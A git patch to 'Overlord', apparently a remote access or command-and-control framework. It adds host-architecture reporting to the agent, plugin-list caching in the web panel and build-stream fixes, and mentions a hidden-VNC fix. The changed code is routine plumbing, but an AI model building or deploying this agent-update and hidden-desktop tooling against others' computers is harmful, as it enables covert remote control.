From ec624019118b9b8d0ba3f3371fa13c2cb4bb9794 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Tue, 5 May 2026 19:31:55 -0500 Subject: [PATCH] fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates. --- .dockerignore | 7 +- Overlord-Client/cmd/agent/session.go | 1 + .../cmd/agent/sysinfo/sysinfo_darwin.go | 13 ++ .../cmd/agent/sysinfo/sysinfo_linux.go | 27 +++ .../cmd/agent/sysinfo/sysinfo_windows.go | 24 +++ Overlord-Client/cmd/agent/wire/protocol.go | 1 + Overlord-Server/public/assets/main.js | 179 +++++++++++------- Overlord-Server/src/protocol.ts | 1 + Overlord-Server/src/server/build-process.ts | 15 +- .../src/server/routes/build-routes.ts | 4 +- Overlord-Server/src/types.ts | 1 + Overlord-Server/src/wsHandlers.ts | 1 + 12 files changed, 193 insertions(+), 81 deletions(-) diff --git a/.dockerignore b/.dockerignore index 0868567..bdcde1f 100644 --- a/.dockerignore +++ b/.dockerignore @@ -36,8 +36,11 @@ Thumbs.db .gitignore .gitattributes -# Build outputs (dist-clients is provided by the builder stage in the runtime image) -**/dist-clients/ +# Build outputs (agent binaries are large; exclude them but keep pre-built DLLs) +**/dist-clients/*.exe +**/dist-clients/*.pdb +**/dist-clients/*.lib +**/dist-clients/*.exp Overlord-Client/build/ release/ diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index bc8a210..d092531 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -669,6 +669,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. hello.IsAdmin = sysinfo.IsAdmin() hello.Elevation = sysinfo.Elevation() hello.Permissions = sysinfo.DarwinPermissions() + hello.HostArch = sysinfo.HostArch() if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { return fmt.Errorf("send hello: %w", err) diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go index 3c35ba1..4d9137e 100644 --- a/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go @@ -4,6 +4,7 @@ package sysinfo import ( "fmt" + "runtime" "strings" "unsafe" @@ -43,3 +44,15 @@ func totalRAM() string { mb := float64(total) / (1024 * 1024) return fmt.Sprintf("%.0f MB", mb) } + +func HostArch() string { + if machine, err := unix.Sysctl("hw.machine"); err == nil { + switch machine { + case "x86_64": + return "amd64" + case "arm64": + return "arm64" + } + } + return runtime.GOARCH +} diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go index d610bc2..8429858 100644 --- a/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go @@ -5,7 +5,9 @@ package sysinfo import ( "fmt" "os" + "runtime" "strings" + "syscall" ) func collectPlatform() Info { @@ -97,3 +99,28 @@ func totalRAM() string { } return "unknown" } + +func HostArch() string { + var utsname syscall.Utsname + if err := syscall.Uname(&utsname); err == nil { + buf := make([]byte, 0, len(utsname.Machine)) + for _, c := range utsname.Machine { + if c == 0 { + break + } + buf = append(buf, byte(c)) + } + machine := string(buf) + switch machine { + case "x86_64": + return "amd64" + case "aarch64": + return "arm64" + case "armv7l": + return "armv7" + case "i686", "i386": + return "386" + } + } + return runtime.GOARCH +} diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go index 5b8e1e9..8944ffe 100644 --- a/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go @@ -4,6 +4,8 @@ package sysinfo import ( "fmt" + "os" + "runtime" "strings" "unsafe" @@ -112,3 +114,25 @@ func totalRAM() string { mb := float64(ms.TotalPhys) / (1024 * 1024) return fmt.Sprintf("%.0f MB", mb) } + +func HostArch() string { + if arch := os.Getenv("PROCESSOR_ARCHITEW6432"); arch != "" { + switch strings.ToLower(arch) { + case "amd64": + return "amd64" + case "arm64": + return "arm64" + } + } + if arch := os.Getenv("PROCESSOR_ARCHITECTURE"); arch != "" { + switch strings.ToLower(arch) { + case "amd64": + return "amd64" + case "arm64": + return "arm64" + case "x86": + return "386" + } + } + return runtime.GOARCH +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 20436da..ad55d18 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -7,6 +7,7 @@ type Hello struct { Host string `msgpack:"host"` OS string `msgpack:"os"` Arch string `msgpack:"arch"` + HostArch string `msgpack:"hostArch,omitempty"` Version string `msgpack:"version"` User string `msgpack:"user"` Monitors int `msgpack:"monitors"` diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 2e0719a..2e59124 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -86,6 +86,27 @@ const clearContext = () => { contextCard = null; }; +let _pluginCache = null; +let _pluginCacheAge = 0; +const PLUGIN_CACHE_TTL = 30_000; + +async function refreshPluginCache() { + try { + const res = await fetch("/api/plugins"); + if (!res.ok) return; + const data = await res.json(); + _pluginCache = Array.isArray(data.plugins) ? data.plugins : []; + _pluginCacheAge = Date.now(); + } catch {} +} + +function getCachedPlugins() { + if (_pluginCache && Date.now() - _pluginCacheAge < PLUGIN_CACHE_TTL) { + return _pluginCache; + } + return null; +} + function detectClientPlatform(clientId) { if (!clientId) { return "unknown"; @@ -323,6 +344,7 @@ async function loadCurrentUser() { } initializeRenderer(); + refreshPluginCache(); } else { window.location.href = "/"; } @@ -414,6 +436,85 @@ function showPluginConfirmModal(pluginId, clientId, sigInfo) { input.focus(); } +function renderPluginMenu(plugins) { + const section = document.getElementById("plugin-section"); + const container = document.getElementById("plugin-menu"); + if (!section || !container) return; + container.innerHTML = ""; + + const enabled = plugins.filter(p => p.enabled !== false); + if (!enabled.length) { + section.classList.add("hidden"); + return; + } + + section.classList.remove("hidden"); + for (const plugin of enabled) { + const btn = document.createElement("button"); + btn.className = "ctx-item ctx-plugin-item"; + btn.dataset.plugin = plugin.id; + btn.dataset.loaded = plugin.loaded ? "true" : "false"; + if (plugin.lastError) { + btn.title = `Last error: ${plugin.lastError}`; + } + + const sig = plugin.signature; + if (sig && sig.signed && !sig.valid) { + btn.disabled = true; + btn.setAttribute("aria-disabled", "true"); + btn.title = "Plugin signature is invalid — cannot load"; + } + + const labelIcon = document.createElement("i"); + labelIcon.className = + "fa-solid fa-puzzle-piece ctx-icon " + + (plugin.loaded ? "text-emerald-400" : "text-fuchsia-400"); + btn.appendChild(labelIcon); + + const label = document.createElement("span"); + label.className = "ctx-plugin-label"; + label.textContent = plugin.name || plugin.id; + btn.appendChild(label); + + if (sig) { + const trustIcon = document.createElement("i"); + if (sig.signed && !sig.valid) { + trustIcon.className = "fa-solid fa-shield-xmark ctx-plugin-trust text-red-400"; + trustIcon.title = "Invalid signature"; + } else if (sig.signed && sig.valid && sig.trusted) { + trustIcon.className = "fa-solid fa-shield-check ctx-plugin-trust text-emerald-400"; + trustIcon.title = "Trusted"; + } else if (sig.signed && sig.valid && !sig.trusted) { + trustIcon.className = "fa-solid fa-shield ctx-plugin-trust text-yellow-400"; + trustIcon.title = "Signed but untrusted"; + } else { + trustIcon.className = "fa-solid fa-shield-halved ctx-plugin-trust text-orange-400"; + trustIcon.title = "Unsigned"; + } + btn.appendChild(trustIcon); + } + + const badge = document.createElement("span"); + badge.className = "ctx-plugin-badge" + (plugin.loaded ? " is-loaded" : ""); + badge.textContent = plugin.loaded ? "loaded" : "available"; + btn.appendChild(badge); + container.appendChild(btn); + + if (plugin.loaded) { + const unloadBtn = document.createElement("button"); + unloadBtn.className = "ctx-item"; + unloadBtn.dataset.pluginUnload = plugin.id; + const unloadIcon = document.createElement("i"); + unloadIcon.className = "fa-solid fa-plug-circle-xmark ctx-icon text-red-400"; + unloadBtn.appendChild(unloadIcon); + const unloadText = document.createElement("span"); + unloadText.textContent = `Unload ${plugin.name || plugin.id}`; + unloadBtn.appendChild(unloadText); + container.appendChild(unloadBtn); + } + } +} + async function loadPluginsForClient(clientId) { const section = document.getElementById("plugin-section"); const container = document.getElementById("plugin-menu"); @@ -421,83 +522,19 @@ async function loadPluginsForClient(clientId) { container.innerHTML = ""; section.classList.add("hidden"); + const cached = getCachedPlugins(); + if (cached && cached.length) { + renderPluginMenu(cached); + } + try { const res = await fetch(`/api/clients/${clientId}/plugins`); if (!res.ok) return; const data = await res.json(); const plugins = Array.isArray(data.plugins) ? data.plugins : []; - if (!plugins.length) return; - - section.classList.remove("hidden"); - for (const plugin of plugins) { - if (plugin.enabled === false) { - continue; - } - const btn = document.createElement("button"); - btn.className = "ctx-item ctx-plugin-item"; - btn.dataset.plugin = plugin.id; - btn.dataset.loaded = plugin.loaded ? "true" : "false"; - if (plugin.lastError) { - btn.title = `Last error: ${plugin.lastError}`; - } - - const sig = plugin.signature; - if (sig && sig.signed && !sig.valid) { - btn.disabled = true; - btn.setAttribute("aria-disabled", "true"); - btn.title = "Plugin signature is invalid — cannot load"; - } - - const labelIcon = document.createElement("i"); - labelIcon.className = - "fa-solid fa-puzzle-piece ctx-icon " + - (plugin.loaded ? "text-emerald-400" : "text-fuchsia-400"); - btn.appendChild(labelIcon); - - const label = document.createElement("span"); - label.className = "ctx-plugin-label"; - label.textContent = plugin.name || plugin.id; - btn.appendChild(label); - - if (sig) { - const trustIcon = document.createElement("i"); - if (sig.signed && !sig.valid) { - trustIcon.className = "fa-solid fa-shield-xmark ctx-plugin-trust text-red-400"; - trustIcon.title = "Invalid signature"; - } else if (sig.signed && sig.valid && sig.trusted) { - trustIcon.className = "fa-solid fa-shield-check ctx-plugin-trust text-emerald-400"; - trustIcon.title = "Trusted"; - } else if (sig.signed && sig.valid && !sig.trusted) { - trustIcon.className = "fa-solid fa-shield ctx-plugin-trust text-yellow-400"; - trustIcon.title = "Signed but untrusted"; - } else { - trustIcon.className = "fa-solid fa-shield-halved ctx-plugin-trust text-orange-400"; - trustIcon.title = "Unsigned"; - } - btn.appendChild(trustIcon); - } - - const badge = document.createElement("span"); - badge.className = "ctx-plugin-badge" + (plugin.loaded ? " is-loaded" : ""); - badge.textContent = plugin.loaded ? "loaded" : "available"; - btn.appendChild(badge); - container.appendChild(btn); - - if (plugin.loaded) { - const unloadBtn = document.createElement("button"); - unloadBtn.className = "ctx-item"; - unloadBtn.dataset.pluginUnload = plugin.id; - const unloadIcon = document.createElement("i"); - unloadIcon.className = "fa-solid fa-plug-circle-xmark ctx-icon text-red-400"; - unloadBtn.appendChild(unloadIcon); - const unloadText = document.createElement("span"); - unloadText.textContent = `Unload ${plugin.name || plugin.id}`; - unloadBtn.appendChild(unloadText); - container.appendChild(unloadBtn); - } - } + renderPluginMenu(plugins); } catch { - // ignore + // ignore — cache render is already showing } } diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 6fef6f4..daee693 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -23,6 +23,7 @@ export type Hello = { host: string; os: string; arch: string; + hostArch?: string; version: string; user: string; monitors: number; diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index a573871..72ae183 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -190,20 +190,23 @@ export async function startBuildProcess( logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`); } - build.controllers.forEach((controller) => { + const alive: ReadableStreamDefaultController[] = []; + for (const controller of build.controllers) { try { controller.enqueue(encoded); - } catch (err) { - logger.error("[build] Failed to send to stream:", err); + alive.push(controller); + } catch { } - }); + } + build.controllers.length = 0; + build.controllers.push(...alive); if (data.type === "complete") { - build.controllers.forEach((controller) => { + for (const controller of build.controllers) { try { controller.close(); } catch {} - }); + } build.controllers.length = 0; } }; diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 0824bab..b4123b5 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -800,7 +800,7 @@ export async function handleBuildRoutes( continue; } const clientOs = client.os?.toLowerCase() || ""; - const clientArch = client.arch?.toLowerCase() || ""; + const clientArch = (client.hostArch || client.arch || "").toLowerCase(); const clientPlatform = `${clientOs}-${clientArch}`; if (!targetPlatforms.has(clientPlatform)) { skippedNoMatch++; @@ -885,7 +885,7 @@ export async function handleBuildRoutes( } const clientOs = client.os?.toLowerCase() || ""; - const clientArch = client.arch?.toLowerCase() || ""; + const clientArch = (client.hostArch || client.arch || "").toLowerCase(); const clientPlatform = `${clientOs}-${clientArch}`; const buildFile = buildPlatforms.get(clientPlatform); if (!buildFile) { diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts index 4fc89a7..f184769 100644 --- a/Overlord-Server/src/types.ts +++ b/Overlord-Server/src/types.ts @@ -16,6 +16,7 @@ export type ClientInfo = { host?: string; os?: string; arch?: string; + hostArch?: string; version?: string; user?: string; nickname?: string; diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index dc11c04..a28a683 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -128,6 +128,7 @@ export async function handleHello( info.host = sanitizeInfoString(payload.host); info.os = sanitizeInfoString(payload.os); info.arch = sanitizeInfoString(payload.arch, 32); + info.hostArch = sanitizeInfoString((payload as any).hostArch, 32) || info.arch; info.version = sanitizeInfoString(payload.version, 64); info.user = sanitizeInfoString(payload.user); info.monitors = sanitizeMonitorCount(payload.monitors) ?? info.monitors;